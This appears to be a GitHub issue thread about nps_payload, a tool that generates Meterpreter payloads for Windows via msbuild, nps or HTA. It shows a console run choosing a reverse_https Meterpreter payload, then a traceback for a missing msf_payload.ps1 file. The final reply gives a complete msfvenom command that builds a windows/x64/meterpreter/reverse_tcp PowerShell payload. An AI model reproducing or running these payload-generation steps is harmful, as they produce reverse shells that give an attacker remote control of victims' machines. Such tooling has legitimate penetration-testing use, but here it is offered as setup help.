nps_payload
nps_payload copied to clipboard
IOError: [Errno 2] No such file or directory: 'msf_payload.ps1'
python nps_payload.py
( (
) ( )\ ) )\ )
( ) (
) ( /( )\ )(()( ( /( (()/(
)\ ) /(/( )\ /(/( )()|()/( _ )\ )()) (()
(/((()(() (()(()_ )()) |(()(() | |
| ' )) ' |-< | ' ) | || | / _ \/ _
/ ` |
||||| .///| .__/_,|_, |___/_,_,|
|| |___|_| |/
v1.03
(1) Generate msbuild/nps/msf payload
(2) Generate msbuild/nps/msf HTA payload
(99) Quit
Select a task: 1
Payload Selection:
(1) windows/meterpreter/reverse_tcp
(2) windows/meterpreter/reverse_http
(3) windows/meterpreter/reverse_https
(4) Custom PS1 Payload
Select payload: 3
Enter Your Local IP Address (None): 192.168.137.145
Enter the listener port (443): 8080
[] Generating PSH Payload...
[] Generating MSF Resource Script...
Traceback (most recent call last):
File "nps_payload.py", line 417, in
yes my problem !!!!!!
for me problem
From the error, it looks like the msf_payload.ps1 is not getting created. Can you run 'msfvenom' from the console? This is required to generate the payload.
no
Install Metasploit. Make sure msfvenom is in your path definition.
metasploit installed on kali linux
Before running this program you can use msfvenom to produce msf_payload.ps1 The command is msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx (your ip)LPORT=443 -f ps1 > msf_payload.ps1